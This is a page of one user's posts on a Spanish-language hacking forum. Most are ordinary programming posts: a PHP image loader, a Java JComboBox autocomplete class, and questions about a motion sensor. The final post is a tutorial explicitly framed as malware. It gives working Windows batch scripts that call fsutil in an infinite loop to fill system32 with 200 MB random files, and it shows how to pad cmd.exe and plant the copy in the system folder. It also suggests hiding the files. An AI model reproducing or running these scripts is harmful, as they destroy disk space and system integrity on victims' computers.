elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16
131  Programación / PHP / Re: mostrar imagen y despues borrarla en: 17 Abril 2010, 18:19 pm
una vez descomprimida la imagen guardela en un directorio... una vez hecho el proceso la cargamos con el método imagecreatefromjpeg  pasandole como parámetro la URL o la dirección del archivo....

con esta función puedes parle la URL o el direcctorio y configurale algunos atributos mas:

Código
  1. function CargarJpeg ($nombreimg) {
  2.    $im = @imagecreatefromjpeg ($nombreimg); /* Intento de apertura */
  3.    if (!$im) { /* Comprobar si ha fallado */
  4.        $im  = imagecreate (150, 30); /* Crear una imagen en blanco */
  5.        $bgc = imagecolorallocate ($im, 255, 255, 255);
  6.        $tc  = imagecolorallocate ($im, 0, 0, 0);
  7.        imagefilledrectangle ($im, 0, 0, 150, 30, $bgc);
  8.        /* Mostrar un mensaje de error */
  9.        imagestring ($im, 1, 5, 5, "Error cargando $nombreimg", $tc);
  10.    }
  11.    return $im;
  12. }
  13. header('Content-Type: image/jpeg');
  14.  
  15. $img = CargarJpeg ('bogus.image');
  16.  
  17. imagejpeg($img);
  18.  

espero que le sirva !!!!!
132  Programación / Java / Re: [APORTE] Autocompler en un JComboBox en: 15 Abril 2010, 14:22 pm
ahhh ya pero eso es puro protocolo....
133  Programación / Java / Re: [APORTE] Autocompler en un JComboBox en: 14 Abril 2010, 14:51 pm
gracias pero no entiendo su apreciación ???
134  Programación / Java / [APORTE] Autocompler en un JComboBox en: 13 Abril 2010, 19:23 pm
Bueno hace rato una mañana me levante pensando como las paginas web pueden auto-completar texto sin necesidad de tener un registro en nuestro historial de navegación, como lo hace google bueno me empape de la clase JComboBox asi que este fue el resultado:

Las palabras las tomo de arreglo de String, pero como lo cito en el code, para que sea un aplicación seria el arreglo debería ser dinámico lo mejor es consultar una base de datos y tomar los datos de allí, asi mismo si el termino no esta definido en la lista debe estar en la capacidad de adicionar mas palabritas, si alguien se le apunta de una lo apoyo

Bueno les dejo code t salud2

Código
  1. import java.awt.Container;
  2. import java.awt.event.ActionEvent;
  3. import java.awt.event.ActionListener;
  4. import java.awt.event.KeyEvent;
  5. import java.sql.Date;
  6.  
  7. import javax.swing.*;
  8. import javax.swing.text.AttributeSet;
  9. import javax.swing.text.BadLocationException;
  10. import javax.swing.text.PlainDocument;
  11.  
  12. /*
  13.  * Autocompletar !!!!
  14.  * */
  15.  
  16. public class JAng3r extends JComboBox implements JComboBox.KeySelectionManager{
  17.  
  18.    public static void main(String[] args) {
  19.        JFrame f = new JFrame();
  20.        // Creamos el Marco o Frame
  21.        f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  22.        // con este metodo podemos cerrar la ejecucion
  23.        // del programa
  24.        f.setSize(300,300);
  25.        // le damos el tamaño
  26.        Container c = f.getContentPane();
  27.        //Creamos el contenedor para alojar nuestras
  28.        // funciones GUI
  29.        c.setLayout(null);
  30.        String [] cuerpo ={"Andres","Ang3r","Foro","Texto"};
  31.        //pues por ahora le mando un arreglo pero cuando sea
  32.        // un aplicacion seria este arreglo se llena desde la
  33.        // base de datos
  34.        JComboBox j = new JAng3r(cuerpo);
  35.        // Hacemos Up-Casting
  36.        j.setBounds(50,50,100,20);
  37.        j.setEditable(true);
  38.        // Damos permisos para que se pueda editar
  39.        f.add(j);
  40.        // hacemos el upcasting
  41.        f.setVisible(true);
  42.    }    
  43.  
  44.    // ESTO ES RARO PERO SE PUEDE :)
  45.    // creamos un clase llamada formato la cual nos permite
  46.    // darle formato solamente en el tamaño de caracteres
  47.    //admitidos, asi como si acepta caracteres alfanuméricos
  48.    // o solo numéricos al elemento
  49.    public class Formato  extends PlainDocument{
  50.  
  51.        public void insertString(int offset, String str, AttributeSet a) throws BadLocationException{
  52.            // Podemos Observar que esta Retornando <----------
  53.            System.out.println(offset+" "+str);
  54.            if (str == null){
  55.                return;
  56.            }
  57.            super.insertString(offset,str, a);
  58.            if (str.length()!=0){
  59.                // Este metodo activa el evento grafico sin el
  60.                // el efecto no seria posible
  61.                fireActionEvent();
  62.            }
  63.        }
  64.    }
  65.  
  66.    public JAng3r(Object[] cuerpo) {
  67.        super(cuerpo);
  68.  
  69.        // Recordemos que JAng3r extiende o hereda de JComboBox
  70.        // Por estas razones le envio este objeto al evento
  71.        // setKeySelectionManager(JComboBox);
  72.        setKeySelectionManager(this);
  73.        JTextField jtext;
  74.        // con el metodo getEditor() retornamos el editor
  75.        // con el que se creo el JComboBox
  76.        jtext = (JTextField)getEditor().getEditorComponent();
  77.        // Le pasamos el formato al JtextField
  78.        jtext.setDocument(new Formato());
  79.        addActionListener(new ActionListener()
  80.        {
  81.            public void actionPerformed(ActionEvent evt)
  82.            {
  83.                JTextField textf = (JTextField)getEditor().getEditorComponent();
  84.                String text = textf.getText();
  85.                ComboBoxModel aModel = getModel();
  86.                String aux;
  87.                for(int i = 0; i < aModel.getSize(); i++)
  88.                {
  89.                    aux = aModel.getElementAt(i).toString();
  90.                    if(aux.toLowerCase().startsWith(text.toLowerCase()))
  91.                    {
  92.                        System.out.println(text+" tiene una Ocurrencia con: "+aux);
  93.                        textf.setText(aux);
  94.                        textf.setSelectionStart(text.length());
  95.                        textf.setSelectionEnd(aux.length());
  96.                        break;
  97.                    }
  98.                }
  99.            }
  100.        });
  101.    }
  102.    public int selectionForKey(char aKey, ComboBoxModel modelo) {
  103.        return 0;
  104.  
  105.    }
  106.  
  107. }

FUENTE

135  Programación / Java / Re: Sensor de Movimiento en: 13 Abril 2010, 19:17 pm
Hola compañeros gracias por su apreciación me dieron mas idea de por donde va este desarrollo... me tocaría mirar mejor la tolerancia de la imagen para que no se salte a cada rato .... bueno por lo que se esto va a estar montado sobre Internet y creo que va ser un poco demorado  :-\ hay muchas variables en juego ... espero que pueda resolverlo y les comentare como va el asusto... muchas gracias
136  Programación / Java / Re: Ayuda con este ejercicio en: 13 Abril 2010, 14:29 pm
Si es posible ya que cuando uno inicializa un objeto.... es decir cuando le hacemos new es hay donde se ejecuta el constructor...
137  Programación / Java / Re: Sensor de Movimiento en: 13 Abril 2010, 14:25 pm
Hola a todos estuve averiguando hacer del desarrollo de este programa y creo que la solución es: Tomar fotos cada rango de tiempo y estar comparando la actual con la anterior (suena sencillo) .... me pregunto si conocen algún otro método  :huh:
138  Programación / Java / Re: Sensor de Movimiento en: 13 Abril 2010, 07:10 am
Tkxxx por tu respuesta ..... lo que deseo en si saber es como implementar un sensor de movimiento.... supongamos que tengo un espacio vacio y que mediante el programa se dispare un alarma apenas haya movimiento en este espacio... no si me hice entender??
139  Programación / Java / Sensor de Movimiento en: 13 Abril 2010, 02:48 am
Hola comunidad, como puedo implementar un sensor de movimiento en JAVA .... ideas??? que cámaras puedo utilizar ? y que librerías lo podría implementar?

salu2
140  Programación / Scripting / [Aporte by 4ng3r] Fsutil con Aplicacion en Malware by 4ng3r en: 23 Febrero 2010, 17:17 pm
Hola gente, hoy les voy a presentar un comando bastante raro muy poco conocido es el Fsutil, primero la definición, sus parametros y después la aplicación

FSUTIL (FileSUTILities), es una herramienta para la consola de comandos, la cual nos permitira hacer gran variedad de tareas sobre los sistemas de archivos de la familia de sistemas operativos de windows (FAT) y NTFS, como administrar puntos de análisis, administrar archivos dispersos o desmontar un volumen.
Para lanzarlo, deberemos tener las credenciales de administrador !!! este es el problema.

En la siguiente lista podremos ver los diferentes argumentos que le podemos dar a esta herramienta y los diferentes usos que tiene.
Recalcar el uso de fsutil hardlink create, el cual nos servirá para realizar accesos directos duros a ficheros de manera que podamos usar el mismo fichero en diferentes localizaciones y con diferentes nombres pero sin duplicarlo, de manera que cuando se modifica uno, se modifican para las dos ubicaciones ya que es el mismo fichero.

Fsutil behavior

Consulta, cambia, habilita o deshabilita la configuración para generar nombres de archivo con longitud de caracteres 8.3, aceptar caracteres extendidos en los nombres de archivo con longitud de caracteres 8.3 en volúmenes NTFS, actualizar la marca de fecha y hora de último acceso en volúmenes NTFS, la frecuencia con la que se escriben sucesos de cuota en el registro de sistema, los niveles de caché interna de memoria de grupo NTFS paginada y no paginada, y la cantidad de espacio de disco reservado para la zona MFT1.

Fsutil dirty

Nos servirá para saber si se ha establecido el bit de daños del un volumen, y nos permite también establecerlo, de manera que en el siguiente reinicio, autochk buscará automáticamente los errores en el volumen.

Fsutil file

Tiene distintos parámetros:

  • findbysid - Buscar fichero por nombre de usuario, (en caso de estar habilitadas las cuotas de disco).Busca dentro de la tabla maestra de archivos (MFT) de NTFS por lo que el rendimiento es mucho mayor que realizar la búsqueda por la extructura de directorios.
Código
  1. fsutil file findbysid user c:\

  • queryallocranges - Consulta los intervalos asignados de un archivo.Es útil para determinar si un archivo tiene zonas dispersa.
Código
  1. fsutil file queryallocranges offset=1024 length=64 c:\archivo.txt
  • setshortname - Establece el nombre corto (nombre de archivo con longitud de caracteres 8.3) de un archivo en un volumen NTFS.
  • setvaliddata - Establece la longitud de datos válidos
  • setzerodata - Establece los datos cero para un archivo.
  • createnew - Crea un fichero con tamaño especifico (contenido 0)
  • Fsutil fsinfo
    • drives - Enumera todas las unidades.
    • drivetype - Consulta el tipo de unidad.
    • volumeninfo - Consulta la información del volumen.
    • ntfsinfo – Consulta la información de volumen específica de NTFS.
    • statistics – Consulta las estadísticas del sistema de archivos.

Estos son los comandos mas importantes según mi parecer, la idea es seguir con la aplicación de este comando en algún malware que se les ocurra. Si se fijan bien el comandos Fsutil file createnew, sirve para crear un archivo de longitud 0 (cero) pero esto no estan cierto; este comando a demas de crear un archivo puede modificar su tamaño según este Script:

Código
  1. @echo off
  2. echo "Ecriba el Nombre del Archivo"
  3. set /p nom=
  4. echo "Ecriba el tamanno de %nom% en megabyte"
  5. set /p var=
  6. set /a length= %var%*1000000
  7. :: ~~~~~~ RUTINA FSUTIL ~~~~~~~~
  8. fsutil file createnew %nom%.txt %length%

Se imagina esto:

Código
  1. fsutil file createnew fhaker.txt 99999999999999

Es aquí donde podemos observarla potencia de este comando, poder crear archivos con la longitud que queramos en bytes es bastante útil a la hora de sabotear un sistema de información. La desventaja de este comando es que un usuario con experiencia pondría en la labor ponerse a buscar archivo por archivo y lo borraría muy fácilmente este archivo; una solución a este inconveniente es crear varios archivos y distribuirlos por todo el sistema, buena idea pero existe otro problema «no conocemos el tamaño del disco del usuario !!!” . Asi que llenar el disco con uno o cuatro archivo sno es viable lo mejor es llenarlo con miles de archivos, yo propongo esta solución:

Código
  1. @echo off
  2. REM NO INTENTEN ESTO EN SU PC
  3. REM Vamo a crear archivos a punta de numeros
  4. REM Randomicos, como putas!! con %RANDOM%
  5. REM y cada nuero seria un archivo txt de 200 Mb
  6. REm Esto ira en un ciclo infinito
  7. title +++ 4ng3r Malware Fsutil +++
  8. :start
  9. REM Esto nos lleva a la carpeta del catalogo
  10. REM del Sistema Opertativo en muchos casos
  11. REm c:\windows
  12. cd %windir%\system32
  13. set /a length= 200*1000000
  14. fsutil file createnew %random%.txt %length%
  15. goto start

Este se puede potenciar mas aun con el comando at, attrib y cierto .REG para cambiar el Hidden”=dword:00000001 ( ;D) de registro. La idea es ocultar el archivo por que nos dejaría en desventaja con el usuario la funcionalidad de nuestro malware fracasaría y simplemente nos quedaría de lección, pero se me ha ocurrido una idea aun mas loca y destructivo; no se si se estaran pensado en sobre escribir un archivo ???…. si es asi esa es la solución final a nuestro problema, simplemente buscamos un archivo vital para el sistema y le metemos peso a esa monda, entonces el usuario borrara el archivo por ahorrarse algunos bytes en su pc. Esta es la aplicación final que doy para este tema:

Código
  1. @echo off
  2. REM Copiamos CMD.EXE de system32 y lo pasamos a el
  3. REM disco donde esta instalado Windows
  4. copy %windir%\system32\cmd.exe %homedrive%\cmd1.exe
  5. REm Si vamos, ejecutamos y observamos el rendimiento
  6. REM de CMD1.EXE no ha cambiado del original trabaja igual
  7. cd %homedrive%
  8. REM Creamos el archivo
  9. fsutil file createnew ang3cmd.exe 1000000
  10. REM Y hacemos una parametrización de bytes
  11. type cmd1.exe > cmd2.exe
  12. type ang3rcmd.exe >> cmd2.exe
  13. cls
  14. echo "Se termino el Proceso"

Miremos el resultado:


Observemos que cmd1.exe es una copia de cmd.exe (el original) y en la parte de abajo vemos el cmd2.exe ya modificado por el malware, si ejecutamos cmd2.exe fuanciona como debe  ser simplemente re-nombrelo y lo copian a %systemroot%\system32.


FUENTE
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines